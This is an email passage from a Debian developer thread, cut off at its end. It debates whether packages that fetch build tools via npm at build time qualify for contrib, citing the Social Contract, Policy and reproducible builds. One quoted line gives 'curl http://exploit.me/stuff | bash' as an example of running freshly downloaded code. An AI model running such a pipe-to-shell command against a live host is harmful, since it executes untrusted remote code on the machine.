2017-10-03 19:34 GMT+02:00 Gunnar Wolf <gw...@debian.org>:
> Pirate Praveen dijo [Tue, Oct 03, 2017 at 12:12:54PM +0530]:
> > > I am completely with Sean here; I read the following messages, and am
> > > happy a better resolution was found. But, FWIW, I'll support Sean's
> > > interpretation - Contrib and non-free are *not* places where we can
> > > happily breach any bits of policy; they are exclusively for things
> > > that cannot be shipped in Debian Main due to their DFSG status.
> > I cannot accept arbitrary interpretations of policy. When build tools
> > are not available in main, they cannot go to main, and if the software
> > itself is Free Software, it can go to contrib. If you disagree, please
> > get the policy clarified. As per the current policy, these packages
> > clearly qualified for contrib and these were already accepted by ftp
> > masters into the archive. You could go to CTTE and challenge the
> > decision of ftp masters.
> Let me quote the Debian Social Contract:
> Works that do not meet our free software standards
> We acknowledge that some of our users require the use of works that do
> not conform to the Debian Free Software Guidelines. We have created
> "contrib" and "non-free" areas in our archive for these
> works. (...)
> So, contrib is _explicitly_ meant for software that does not meet the
> DFSG, not for random stuff that cannot be packaged for convenience or
> different issues.
> According to Policy, section 2:
> Packages in the other archive areas (contrib, non-free) are not
> considered to be part of the Debian distribution, although we
> support their use and provide infrastructure for them (such as our
> bug-tracking system and mailing lists). This Debian Policy Manual
> applies to these packages as well.
> Policy says that all packages in contrib and non-free should be policy
> compliant. Further, in 2.2.2:
> The contrib archive area contains supplemental packages intended
> to work with the Debian distribution, but which require software
> outside of the distribution to either build or function.
> Every package in contrib must comply with the DFSG.
> In addition, the packages in contrib
> • must not be so buggy that we refuse to support them, and
> • must meet all policy requirements presented in this manual.
> For this section, yes, I will be making interpretation - But I hold
> that we would be hard-pressed to provide support for something built
> with a compiler downloaded at build time. Maybe, as Simon suggests, if
> your debian/ includes hashes for the compiler version being
> used (and everything it pulls in via npm)... But in that case, it's
> probably better to include the tar.gz as part of your debian/
> I *do* take note, however, of:
> Examples of packages which would be included in contrib are:
> • free packages which require contrib, non-free packages or packages
> which are not in our archive at all for compilation or execution,
> • wrapper packages or other sorts of free accessories for
> non-free programs.
> The first point would seem to cover your use case. However, it's not
> necessarily covering (...) compilation or execution via code just
> downloaded. It does not cover the equivalent of
> "curl http://exploit.me/stuff | bash"
> > Alternatively, those who care enough about the issue can help get these
> > tools into main. I have been doing just that over the last years (grunt,
> > gulp, babel, jison, webpack to name a few, each with 100s of
> > dependencies) so many of the packages currently in main could go there.
> > Since the tools are just so many and the people packaging them are
> > handful, it will take quite a while for all these tools to be in main
> > and I'm going to continue using contrib for these packages until that
> > You can also check the record of people who are most vocal over the
> > issue (not just in this thread, but in earlier discussions about
> > handlebars/dfsg/browserify) and compare who is helping fix the issue and
> > who is just talking.
> In this case, I'm clearly in the group of those who are somewhat
> vocal, and are not helping your efforts. Well, I did quite a bit of
> effort in a related matter with the work I put into packaging Drupal8,
> which I dropped in the end¹ precisely due to it not being cleanly
> packagable for Debian.
> ¹ http://gwolf.org/node/4087
> > > And, yes, network access during a build... Is a clear no-go. Specially
> > > if as a project we are committed to this so neat Reproducible Builds
> > > thingy that has made so many among us proud to be part a project where
> > > an ages-long problem is finally being tackled - And quite
> > > successfully, even!
> > I thought building these things (making sure the source corresponds to
> > the distributed binaries), though using tools outside archive, was
> > preferred over shipping pre-built binaries. But it seems shipping
> > pre-built binaries are preferred. It looks to me like a misplaced
> > compromise, but I will follow this advice and ship pre-built binaries
> > next time without building them using npm.
> I would strongly prefer to ship pre-built binaries as part of your
> environment in debian/.
> I guess the ftp-masters approved the packages you mention as they
> *looked* sane, but not because of a deeper inspection of how they were
> built. I see² you have 17 packages in contrib, out of which 14 are
> node-*. Do they all use npm? Would you appreciate if I took a look at
> them and filed bugs accordingly to ask for ftp-masters' opinion?
> ² https://qa.debian.org/developer.php?login=prav...@onenetbeyond.org
It might be a good idea to make policy more explicit about downloads during